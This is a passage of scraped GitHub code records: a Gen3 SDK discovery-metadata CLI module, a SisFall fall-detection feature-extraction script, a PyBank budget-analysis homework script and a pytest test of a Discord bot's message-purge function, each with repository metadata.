show_default=True,\n)\n@click.option(\n    \"--metadata-column-to-map\",\n    \"metadata_column_to_map\",\n    help=\"The column in the provided metadata file to use to map/merge into the current Discovery metadata\",\n    default=\"guid\",\n    show_default=True,\n)\n@click.option(\n    \"--metadata-prefix\",\n    \"metadata_prefix\",\n    help=\"Prefix to add to the column names in the provided metadata file before final output\",\n    default=\"\",\n    show_default=True,\n)\n@click.option(\n    \"--agg\",\n    is_flag=True,\n    help=\"use aggregate metadata service instead of the metadata service\",\n    show_default=True,\n)\n@click.pass_context\ndef discovery_read_and_combine(\n    ctx,\n    file,\n    output_filename,\n    discovery_column_to_map_on,\n    metadata_column_to_map,\n    max_number_discovery_records,\n    metadata_prefix,\n    agg,\n):\n    \"\"\"\n    Combine provided metadata from file with current commons' discovery page metadata.\n    Outputs a TSV with the original discovery metadata and provided metadata.\n    \"\"\"\n    auth = ctx.obj[\"auth_factory\"].get()\n    loop = get_or_create_event_loop_for_thread()\n    endpoint = ctx.obj.get(\"endpoint\")\n    current_discovery_metadata_file = loop.run_until_complete(\n        output_expanded_discovery_metadata(\n            auth, endpoint=endpoint, limit=max_number_discovery_records, use_agg_mds=agg\n        )\n    )\n\n    output_file = combine_discovery_metadata(\n        current_discovery_metadata_file,\n        file,\n        discovery_column_to_map_on,\n        metadata_column_to_map,\n        output_filename,\n        metadata_prefix=metadata_prefix,\n    )\n\n    click.echo(f\"{output_file}\")\n\n\n@click.command()\n@click.argument(\"guid\")\n@click.pass_context\ndef discovery_delete(ctx, guid):\n    \"\"\"\n    Delete all discovery metadata for the provided guid\n    \"\"\"\n    auth = ctx.obj[\"auth_factory\"].get()\n    try_delete_discovery_guid(auth, guid)\n\n\ndiscovery.add_command(discovery_read, name=\"read\")\ndiscovery.add_command(discovery_read_and_combine, name=\"combine\")\ndiscovery.add_command(discovery_publish, name=\"publish\")\ndiscovery.add_command(discovery_delete, name=\"delete\")\n\n\n@discovery.group()\ndef objects():\n    \"\"\"For ingesting dataset-level files\"\"\"\n    pass\n\n\n@click.command(\n    help=\"\"\"\n    Outputs a TSV with populated information. [DATASET_GUIDS] argument is\n    a variable number of datasets, e.g. 'phs000001.v1.p1.c1 phs000002.v1.p1.c1'\n    \"\"\"\n)\n@click.argument(\n    \"dataset_guids\",\n    nargs=-1,\n)\n@click.option(\n    \"--only-object-guids\",\n    help=\"\"\"\n    Outputs object guids to the command line in the following format:\n        drs://dg.4503:943200c3-271d-4a04-a2b6-040272239a64\n        drs://dg.4503:58818753-e8b9-4225-99bd-635a36ac41d9\n        drs://dg.4503:72a9051e-5afa-4eb1-8faf-2fb28369f99b\n        drs://dg.4503:034e406d-f8f1-4ee8-bbb3-3818473174a6\n    Output can be piped into another command\n    \"\"\",\n    is_flag=True,\n)\n@click.option(\n    \"--template\",\n    help=\"\"\"\n    Output a TSV with required columns for `publish`. Will NOT contain any actual existing values for datasets or objects.\n    If you want the full output of what's in the commons, don't supply this flag.\n    \"\"\",\n    is_flag=True,\n)\n@click.option(\n    \"--output_format\",\n    help=\"format of output file (can only be either tsv or json)\",\n    default=\"tsv\",\n    show_default=True,\n)\n@click.pass_context\ndef discovery_objects_read(\n    ctx, dataset_guids, only_object_guids, template, output_format\n):\n    \"\"\"\n    Download the discovery objects from dataset(s) from a commons into TSV file.\n    Outputs the TSV / JSON filename with format {commons-url}-discovery_objects.tsv\n    If --only-object-guids is set, output object guids to the command line.\n    If the --template option is set, output a TSV with just the required columns with\n    format {commons-url}-discovery_objects-TEMPLATE.tsv\n    \"\"\"\n    auth = ctx.obj[\"auth_factory\"].get()\n    loop = get_or_create_event_loop_for_thread()\n    endpoint = ctx.obj.get(\"endpoint\")\n    output = loop.run_until_complete(\n        output_discovery_objects(\n            auth,\n            dataset_guids=dataset_guids,\n            endpoint=endpoint,\n            template=template,\n            output_format=output_format,\n            only_object_guids=only_object_guids,\n        )\n    )\n    if not only_object_guids:\n        click.echo(output)\n    else:\n        for obj in output:\n            click.echo(obj[\"guid\"])\n\n\n@click.command(\n    help=\"\"\"\n    Takes a TSV as input and writes the specified objects GUIDs and defined metadata into Gen3's\n    Metadata API, under a Discovery Metadata record for the dataset. The specified content from\n    the TSV goes into an 'objects' block of the dataset's metadata.\n    If dataset_guid already exists, update, if it doesn't already exist, create it.\n    Use 'discovery objects read --template' to get a TSV with the minimum required columns\n    to publish.\n    \"\"\"\n)\n@click.argument(\n    \"file\",\n    required=True,\n)\n@click.option(\n    \"--overwrite\",\n    help=\"\"\"\n    Replaces all guids in the 'objects' field of a dataset instead of appending (which is the default)\n    \"\"\",\n    is_flag=True,\n)\n@click.pass_context\ndef discovery_objects_publish(\n    ctx,\n    file,\n    overwrite,\n):\n    \"\"\"\n    Run a discovery objects ingestion on a given metadata TSV file. If --overwrite is set, objects for\n    each dataset are replaced instead of appeding by default.\n    \"\"\"\n    auth = ctx.obj[\"auth_factory\"].get()\n\n    loop = get_or_create_event_loop_for_thread()\n    endpoint = ctx.obj.get(\"endpoint\")\n    loop.run_until_complete(\n        publish_discovery_object_metadata(\n            auth,\n            file,\n            endpoint=endpoint,\n            overwrite=overwrite,\n        )\n    )\n\n\n@click.command(\n    help=\"Delete objects related to datasets in TSV file or list of dataset_guids\"\n)\n@click.argument(\n    \"guids\",\n    nargs=-1,\n)\n@click.option(\n    \"--file\",\n    help=\"\"\"\n    Delete objects from a file\n    \"\"\",\n    type=click.File(\"r\"),\n)\n@click.pass_context\ndef discovery_objects_delete(\n    ctx,\n    guids,\n    file,\n):\n    \"\"\"\n    Delete all discovery objects for the provided guid(s), or from the the file provided by the --file option.\n    [GUIDS] argument is a variable number of dataset GUIDs, e.g. 'phs000001.v1.p1.c1 phs000002.v1.p1.c1'\n    \"\"\"\n    auth = ctx.obj[\"auth_factory\"].get()\n    if guids:\n        try_delete_discovery_objects(auth, guids)\n    if file:\n        if is_valid_object_manifest(file.name):\n            delete_objs = {}\n            tsv_reader = csv.DictReader(file, delimiter=\"\\t\")\n            for row in tsv_reader:\n                dataset_guid = row[\"dataset_guid\"]\n                guid = row[\"guid\"]\n                delete_objs.setdefault(dataset_guid, set()).add(guid)\n            try_delete_discovery_objects_from_dict(auth, delete_objs)\n        else:\n            click.echo(\"Invalid objects file\")\n\n\nobjects.add_command(discovery_objects_read, name=\"read\")\nobjects.add_command(discovery_objects_publish, name=\"publish\")\nobjects.add_command(discovery_objects_delete, name=\"delete\")\n", "repo_name": "uc-cdis/gen3sdk-python", "sub_path": "gen3/cli/discovery.py", "file_name": "discovery.py", "file_ext": "py", "file_size_in_byte": 12472, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "81", "api": [{"api_name": "click.group", "line_number": 21, "usage_type": "call"}, {"api_name": "gen3.tools.metadata.discovery_objects.is_valid_object_manifest", "line_number": 69, "usage_type": "call"}, {"api_name": "click.confirm", "line_number": 70, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 77, "usage_type": "call"}, {"api_name": "gen3.utils.get_or_create_event_loop_for_thread", "line_number": 79, "usage_type": "call"}, {"api_name": "gen3.tools.metadata.discovery.publish_discovery_metadata", "line_number": 82, "usage_type": "call"}, {"api_name": "click.command", "line_number": 27, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 28, "usage_type": "call"}, {"api_name": "click.option", "line_number": 29, "usage_type": "call"}, {"api_name": "click.option", "line_number": 36, "usage_type": "call"}, {"api_name": "click.option", "line_number": 43, "usage_type": "call"}, {"api_name": "click.option", "line_number": 53, "usage_type": "call"}, {"api_name": "click.pass_context", "line_number": 63, "usage_type": "attribute"}, {"api_name": "gen3.utils.get_or_create_event_loop_for_thread", "line_number": 136, "usage_type": "call"}, {"api_name": "gen3.tools.metadata.discovery.output_expanded_discovery_metadata", "line_number": 139, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 150, "usage_type": "call"}, {"api_name": "click.command", "line_number": 93, "usage_type": "call"}, {"api_name": "click.option", "line_number": 94, "usage_type": "call"}, {"api_name": "click.option", "line_number": 101, "usage_type": "call"}, {"api_name": "click.option", "line_number": 107, "usage_type": "call"}, {"api_name": "click.option", "line_number": 114, "usage_type": "call"}, {"api_name": "click.option", "line_number": 121, "usage_type": "call"}, {"api_name": "click.pass_context", "line_number": 128, "usage_type": "attribute"}, {"api_name": "gen3.utils.get_or_create_event_loop_for_thread", "line_number": 213, "usage_type": "call"}, {"api_name": "gen3.tools.metadata.discovery.output_expanded_discovery_metadata", "line_number": 216, "usage_type": "call"}, {"api_name": "gen3.tools.metadata.discovery.combine_discovery_metadata", "line_number": 221, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 230, "usage_type": "call"}, {"api_name": "click.command", "line_number": 153, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 154, "usage_type": "call"}, {"api_name": "click.option", "line_number": 155, "usage_type": "call"}, {"api_name": "click.option", "line_number": 162, "usage_type": "call"}, {"api_name": "click.option", "line_number": 170, "usage_type": "call"}, {"api_name": "click.option", "line_number": 177, "usage_type": "call"}, {"api_name": "click.option", "line_number": 184, "usage_type": "call"}, {"api_name": "click.option", "line_number": 191, "usage_type": "call"}, {"api_name": "click.pass_context", "line_number": 197, "usage_type": "attribute"}, {"api_name": "gen3.tools.metadata.discovery.try_delete_discovery_guid", "line_number": 241, "usage_type": "call"}, {"api_name": "click.command", "line_number": 233, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 234, "usage_type": "call"}, {"api_name": "click.pass_context", "line_number": 235, "usage_type": "attribute"}, {"api_name": "gen3.utils.get_or_create_event_loop_for_thread", "line_number": 304, "usage_type": "call"}, {"api_name": "gen3.tools.metadata.discovery_objects.output_discovery_objects", "line_number": 307, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 317, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 320, "usage_type": "call"}, {"api_name": "click.command", "line_number": 256, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 262, "usage_type": "call"}, {"api_name": "click.option", "line_number": 266, "usage_type": "call"}, {"api_name": "click.option", "line_number": 278, "usage_type": "call"}, {"api_name": "click.option", "line_number": 286, "usage_type": "call"}, {"api_name": "click.pass_context", "line_number": 292, "usage_type": "attribute"}, {"api_name": "gen3.utils.get_or_create_event_loop_for_thread", "line_number": 356, "usage_type": "call"}, {"api_name": "gen3.tools.metadata.discovery_objects.publish_discovery_object_metadata", "line_number": 359, "usage_type": "call"}, {"api_name": "click.command", "line_number": 323, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 333, "usage_type": "call"}, {"api_name": "click.option", "line_number": 337, "usage_type": "call"}, {"api_name": "click.pass_context", "line_number": 344, "usage_type": "attribute"}, {"api_name": "gen3.tools.metadata.discovery_objects.try_delete_discovery_objects", "line_number": 394, "usage_type": "call"}, {"api_name": "gen3.tools.metadata.discovery_objects.is_valid_object_manifest", "line_number": 396, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 398, "usage_type": "call"}, {"api_name": "gen3.tools.metadata.discovery_objects.try_delete_discovery_objects_from_dict", "line_number": 403, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 405, "usage_type": "call"}, {"api_name": "click.command", "line_number": 368, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 371, "usage_type": "call"}, {"api_name": "click.option", "line_number": 375, "usage_type": "call"}, {"api_name": "click.File", "line_number": 380, "usage_type": "call"}, {"api_name": "click.pass_context", "line_number": 382, "usage_type": "attribute"}]}
{"seq_id": "38000973218", "text": "# order = 5\n# fs = 200.0      # sample rate, Hz\n# cutoff = 5.0    # desired cutoff frequency of the filter, Hz\n# IIR implemention\nfrom scipy import integrate\nfrom scipy.signal import butter, lfilter, freqz\nfrom sklearn.decomposition import PCA\nfrom scipy.signal import butter, lfilter\nimport os\nimport sklearn\nimport math\nimport numpy as np\ndef butter_lowpass(cutoff, fs, order=5):\n    nyq = 0.5 * fs\n    normal_cutoff = cutoff / nyq\n    b, a = butter(order, normal_cutoff, btype='low', analog=False)\n    return b, a\n\n\ndef butter_lowpass_filter(data, cutoff=5, fs=200, order=5):\n    b, a = butter_lowpass(cutoff, fs, order=order)\n    y = lfilter(b, a, data)\n    return y\n# to get physical characteristics\ndef get_user_propties(source_path='SisFall_dataset/physical_ch.txt'):\n    f = open(source_path, mode='r', encoding='utf-8')\n    datas = {}\n    for line in f:\n        line = line.split('|')\n        line = [x.strip() for x in line]\n        key = line[0]\n        value = line[1:-1]\n        for i in range(len(value) - 1):\n            value[i] = float(value[i])\n        if value[-1] == 'M':\n            value[-1] = 0\n        else:\n            value[-1] = 1\n        datas[key] = value\n    f.close()\n    return datas\n\n# min-max normalization\ndef min_max(a):\n    amin, amax = a.min(), a.max()\n    a = (a - amin) / (amax - amin)\n    return a\n\n# return file names\ndef get_all_data(path):\n    if not os.path.isdir(path):\n        return []\n    results = os.listdir(path)\n    files = []\n    for file in results:\n        if file[0] in ['D', 'F']:\n            files.append(file)\n    files = [path + \"/\" + file for file in files]\n    return files\n\n# get data\ndef get_all_datas(path, datas):\n    files = os.listdir(path)\n    files = [path + \"/\" + file for file in files]\n    for file in files:\n        data = get_all_data(file)\n        datas.extend(data)\n    print(len(datas))\n\n# process each line of file\ndef process_line(line):\n    line = line.strip()\n    line = line[:-1]\n    nums = line.split(',')\n    try:\n        nums = [int(num) for num in nums]\n    except:\n        print('--',line)\n    return nums\n\n# feature extraction\ndef GetC1(datas):\n    datan = np.array(datas)\n    datan = datan ** 2\n    datan = np.sum(datan, axis=1)\n    datan = datan ** 0.5\n    datan = np.mean(datan)\n    return datan\n\ndef Get_std(datas):\n    datan = np.array(datas)\n    datan = np.std(datan, axis=0)\n    horiz_std_mag9 = np.sqrt(datan[0]**2 + datan[2]**2)\n    std_mag9 = np.sqrt(datan[0]**2 + datan[1]**2 + datan[2]**2)\n    diff_std_mag9 = np.sqrt(datan[3]**2 + datan[4]**2 + datan[5]**2)\n    horiz_std_mag2 = np.sqrt(datan[3]**2 + datan[5]**2)\n    gyro_horiz_std_mag = np.sqrt(datan[6]**2 + datan[8]**2)\n    gyro_std_mag = np.sqrt(datan[6]**2 + datan[7]**2 + datan[8]**2)\n    datan = np.append([datan], [gyro_std_mag])\n    datan = np.append([datan], [gyro_horiz_std_mag])\n    datan = np.append([datan], [horiz_std_mag2])\n    datan = np.append([datan], [diff_std_mag9])\n    datan = np.append([datan], [std_mag9])\n    datan = np.append([datan],[horiz_std_mag9])\n    return datan\n\ndef Get_SigMagArea(datas):\n    ntime = len(datas)\n    sum = 0\n    for i in range(3):\n        sum += np.sum(datas[:,i])\n    return sum/ntime\n\ndef Get_HorizSigMagArea(datas):\n    ntime = len(datas)\n    sum = 0\n    for i in [0, 2]:\n        sum += np.sum(datas[:, i])\n    return sum / ntime\n\ndef Get_Amax(datas):\n    datan = np.array(datas)\n    datan = np.max(datan, axis=0)\n    return datan\n\ndef Get_Amin(datas):\n    datan = np.array(datas)\n    datan = np.min(datan, axis=0)\n    return datan\n\ndef Get_peak_diff(datas):\n    datan = np.array(datas)\n    return np.max(datan, axis=0) - np.min(datan, axis=0)\n\ndef Get_angle(datas):\n    datan = np.array(datas)\n    angle_from_horiz = np.arctan2(np.sqrt(datan[0] ** 2 + datan[2] ** 2), -datan[1]) * 180 / np.pi\n    angle = np.append([np.max(angle_from_horiz)],[np.min(angle_from_horiz)])\n    angle = np.append(angle, [np.mean(angle_from_horiz)])\n    return angle\n\ndef GetC10(datas):\n    f = lambda x: x\n    N = len(datas)\n    datan = np.array(datas)\n    for i in range(9):\n        if 1 % 3 == 2:\n            continue\n        datan[:, i] = datan[:, i] ** 2\n    dataf = []\n    for i in range(3):\n        k = i * 3\n        x = []\n        for j in range(N):\n            x.append(math.atan2((datan[j, k + 1] + datan[j, k]) ** 0.5, datan[j, k + 2]))\n        x = np.mean(x)\n        dataf.append(x)\n    return np.array(dataf)\n\n'''\nfile-->train data\na) file name-->train data: D means ADL, F means fall\nb) cal avg\nc) add extracted feature\nd) add user info\n'''\ndef get_one_data(path, pros):\n    relaPath = path.split('/')[-1]\n    proKey = path.split('/')[-2].strip()\n    label = -1\n    datas = []\n    if relaPath[0] == 'D':\n        label = 0\n    elif relaPath[0] == 'F':\n        label = 1\n    else:\n        return None\n    f = open(path, 'r', encoding='utf-8')\n    for line in f:\n        key = process_line(line)\n        if len(key) != 9:\n            continue\n        datas.append(key)\n    f.close()\n    tupleDatas = []\n\n    # for i in range(0,len(datas)-256, 128):\n    #     datan = datas[i:i+256]\n    #     datan = np.array(datan)\n    #     datatmp = np.array(datan)\n    #     c1 = GetC1(datan)\n    #     c10 = GetC10(datan)\n    #     # for i in range(len(datas)):\n    #         # datas[i,:] = butter_lowpass_filter(datas[i,:])\n    #     datan = np.mean(datan, axis=0)\n    #     datan = np.append([datan], [Get_SigMagArea(datatmp)])\n    #     datan = np.append([datan], [Get_std(datatmp)])\n    #     datan = np.append([datan], [Get_Amax(datatmp)])\n    #     datan = np.append([datan], [Get_Amin(datatmp)])\n    #\n    #     datan = np.std(datan,axis = 0)\n    #     datan = np.append([datan],[c1])\n    #     datas = np.append([datas],[c10])\n    #     tupleDatas.append((datan,label))\n\n    datan = datas[:]\n    datan = np.array(datan)\n    datatmp = np.array(datan)\n    c1 = GetC1(datan)\n    c10 = GetC10(datan)\n    datan = np.mean(datan, axis=0)\n    datan = np.append([datan], [Get_SigMagArea(datatmp)])\n    datan = np.append([datan], [Get_std(datatmp)])\n    datan = np.append([datan], [Get_Amax(datatmp)])\n    datan = np.append([datan], [Get_Amin(datatmp)])\n    datan = np.append([datan], [Get_peak_diff(datatmp)])\n    datan = np.append([datan], [Get_angle(datatmp)])\n    datan = np.append([datan],[c1])\n    # user = pros.get(proKey)\n    # datan = np.append([datan], [user])\n    tupleDatas.append((datan,label))\n\n    return tupleDatas\n\n\ndef get_data_and_labels(trainDatas, testDatas, files):\n    datas = []\n    index = 0\n    pros = get_user_propties()\n    for file in files:\n        data = get_one_data(file, pros)\n        if data:\n            datas.extend(data)\n    length = len(datas)\n    trainDatas.extend(datas[:int(length * 0.7)])\n    testDatas.extend(datas[int(length * 0.7):])\n    print('trainDatas', len(trainDatas))\n    print('testDatas', len(testDatas))\n\ndef getXandY(datas):\n    X = []\n    Y = []\n    for data in datas:\n        x = data[0]\n        Y.append(data[1])\n        where_are_nan = np.isnan(x)\n        where_are_inf = np.isinf(x)\n        x[where_are_nan] = 0\n        x[where_are_inf] = 0\n        X.append(x)\n    return X, Y\n\ndef norm_pro(trainX,testX):\n    len1 = len(trainX)\n    len2 = len(testX)\n    X = []\n    X.extend(trainX)\n    X.extend(testX)\n    X = np.array(X)\n    print(X.shape)\n    pca = PCA(n_components=20)\n    print('begin pca', X.shape)\n    X = pca.fit_transform(X)\n    print('after pca',X.shape)\n    return X[:len1],X[len1:]\n\ndef getProbability(trainY,testY):\n    sumP1 = 0.0\n    sumP2 = 0.0\n    for y in trainY:\n        if y == 1:\n            sumP1 += 1\n        else:\n            sumP2 += 1\n    for y  in testY:\n        if y == 1:\n            sumP1 += 1\n        else:\n            sumP2 += 1\n    Pro1 = sumP1/(sumP1 + sumP2)\n    Pro2 = sumP2/(sumP1 + sumP2)\n    print('pro of two catagories', Pro1, Pro2)\n", "repo_name": "AileenYang/Fall_detection", "sub_path": "preprocess.py", "file_name": "preprocess.py", "file_ext": "py", "file_size_in_byte": 7820, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "scipy.signal.butter", "line_number": 16, "usage_type": "call"}, {"api_name": "scipy.signal.lfilter", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 53, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 137, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 145, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 208, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 212, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 213, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 214, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 216, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 218, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.isinf", "line_number": 247, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 259, "usage_type": "call"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 261, "usage_type": "call"}]}
{"seq_id": "6233428980", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[4]:\n\n\n# Import pathlib and set the file path\nfrom pathlib import Path\nimport csv\ncsv_data = Path('./budget_data.csv')\n\n\n# In[2]:\n\n\n# Initialize list of records\nrecords = []\n\n\n# In[3]:\n\n\n# Open the csv file as an object\nwith open(csv_data, 'r') as csvfile:\n    # Pass in the csv file to the csv.reader() function\n    #(with ',' as the delimiter/separator) and return the csvreader object\n    csvreader = csv.reader(csvfile, delimiter=',')\n    # Read the heder row first\n    csv_header = next(csvreader)\n    # Print the header\n    #print(csv_header)\n    \n    #Append the column 'Average' to the header\n    csv_header.append(\"Average\")\n    \n    # Append the header to teh list of record\n    records.append(csv_header)\n    #print(csv_header)\n    \n    # Read each row of data after the header\n    # for row in csvreader:\n        \n    net_profit = 0\n    greatest_increase = 0\n    date_greatincrease = str\n    greatest_decrease = 0\n    date_greatdecrease = str\n    \n    first_row = next(csvreader)\n    month_count = 1\n    net_profit = net_profit + int(first_row[1])\n    previous_net = int(first_row[1])\n    net_change_list = []\n    \n    #initialize greatest increase and decrease\n    greatest_increase = int(first_row[1])\n    date_greatincrease = str(first_row[0])\n    greatest_decrease = int(first_row[1])\n    date_greatdecrease = str(first_row[0])\n    \n    for row in csvreader:\n        net_profit += int(row[1])\n        month_count += 1\n        net_change = int(row[1]) - previous_net\n        previous_net = int(row[1])\n                                         \n        # Recording the change\n        net_change_list = net_change_list + [net_change]\n        month_change = month_count - 1\n        \n        #identififying the greatest increase and decrease\n        if net_change > greatest_increase:\n            greatest_increase = net_change\n            date_greatincrease = str(row[0]) \n        elif net_change < greatest_decrease:\n            greatest_decrease = net_change\n            date_greatdecrease = str(row[0])\n                         \n        # print(net_change)\naverage_month_change = round(sum(net_change_list) / month_change,2)\n# printing results\nprint()\nprint(\"Financial Analysis\")\nprint(\"-------------------------------\")\nprint(\"Total Months: \", month_count)\nprint(\"Total: $\",net_profit)\nprint(\"Average Change: $\",average_month_change)\nprint(\"Greatest Increase in Profits: \", date_greatincrease, \" ($\",greatest_increase,\")\")\nprint(\"Greatest Decrease in Profits: \", date_greatdecrease, \" ($\",greatest_decrease,\")\")\n\n# Export the results to text file\n\nfrom pathlib import Path\nimport csv\npybank_analysis = Path('./pybank_analysis.txt')\n\nwith open(pybank_analysis, 'w') as txt_file:\n    txt_file.write(f\"Financial Analysis\\n\")\n    txt_file.write(f\"------------------------------\\n\")\n    txt_file.write(f\"Total Months: {month_count}\\n\")\n    txt_file.write(f\"Total: $ {net_profit}\\n\")\n    txt_file.write(f\"Average Change: $ {average_month_change}\\n\")\n    txt_file.write(f\"Greatest Increase in Profits:  {date_greatincrease} ($ {greatest_increase})\\n\")\n    txt_file.write(f\"Greatest Decrease in Profits:  {date_greatdecrease} ($ {greatest_decrease})\\n\")\n    \n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n", "repo_name": "javaranko/python-homework", "sub_path": "Pybank/pybank_main.py", "file_name": "pybank_main.py", "file_ext": "py", "file_size_in_byte": 3267, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pathlib.Path", "line_number": 10, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 27, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 95, "usage_type": "call"}]}
{"seq_id": "12384840104", "text": "import asyncio\n\nfrom unittest.mock import Mock\n\nimport pytest\n\nimport nono.domain.interfaces as interfaces\nfrom nono.domain.purge import delete_last_messages\n\n\nclass MessageMock(interfaces.Message):\n    def __init__(self, author, content):\n        self._author = author\n        self._content = content\n        self.deleted = False\n\n    @property\n    def author(self):\n        return self._author\n\n    @property\n    def content(self):\n        return self._content\n\n    async def delete(self):\n        await asyncio.sleep(0)\n        self.deleted = True\n\n\nclass ChannelMock(interfaces.Channel):\n    def __init__(self, messages):\n        self.messages = messages\n\n    async def history(self, limit=None):\n        limit = -1 * limit\n        loop = asyncio.get_running_loop()\n        future = loop.create_future()\n        future.set_result(None)\n        for message in self.messages[limit:]:\n            await future\n            yield message\n\n\n@pytest.mark.asyncio\nasync def test_purge():\n    admin = Mock(spec=interfaces.User)\n    admin.id.return_value = 1\n    legit = Mock(spec=interfaces.User)\n    legit.id.return_value = 2\n    spammer = Mock(spec=interfaces.User)\n    spammer.id.return_value = 3\n\n    messages = [\n        MessageMock(legit, \"hello\"),\n        MessageMock(spammer, \"SPAM\"),\n        MessageMock(spammer, \"SPAM\"),\n        MessageMock(spammer, \"SPAM\"),\n        MessageMock(admin, \"!purge 3\"),\n    ]\n    channel = ChannelMock(messages)\n    await delete_last_messages(channel, messages[-1], 3)\n\n    for message in channel.messages:\n        if message.author.id() == 3:\n            assert message.deleted\n        else:\n            assert not message.deleted\n", "repo_name": "zer0tonin/nono", "sub_path": "nono/domain/purge_test.py", "file_name": "purge_test.py", "file_ext": "py", "file_size_in_byte": 1666, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "nono.domain.interfaces.Message", "line_number": 11, "usage_type": "attribute"}, {"api_name": "nono.domain.interfaces", "line_number": 11, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 26, "usage_type": "call"}, {"api_name": "nono.domain.interfaces.Channel", "line_number": 30, "usage_type": "attribute"}, {"api_name": "nono.domain.interfaces", "line_number": 30, "usage_type": "name"}, {"api_name": "asyncio.get_running_loop", "line_number": 36, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 46, "usage_type": "call"}, {"api_name": "nono.domain.interfaces.User", "line_number": 46, "usage_type": "attribute"}, {"api_name": "nono.domain.interfaces", "line_number": 46, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 48, "usage_type": "call"}, {"api_name": "nono.domain.interfaces.User", "line_number": 48, "usage_type": "attribute"}, {"api_name": "nono.domain.interfaces", "line_number": 48, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 50, "usage_type": "call"}, {"api_name": "nono.domain.interfaces.User", "line_number": 50, "usage_type": "attribute"}, {"api_name": "nono.domain.interfaces", "line_number": 50, "usage_type": "name"}, {"api_name": "nono.domain.purge.delete_last_messages", "line_number": 61, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 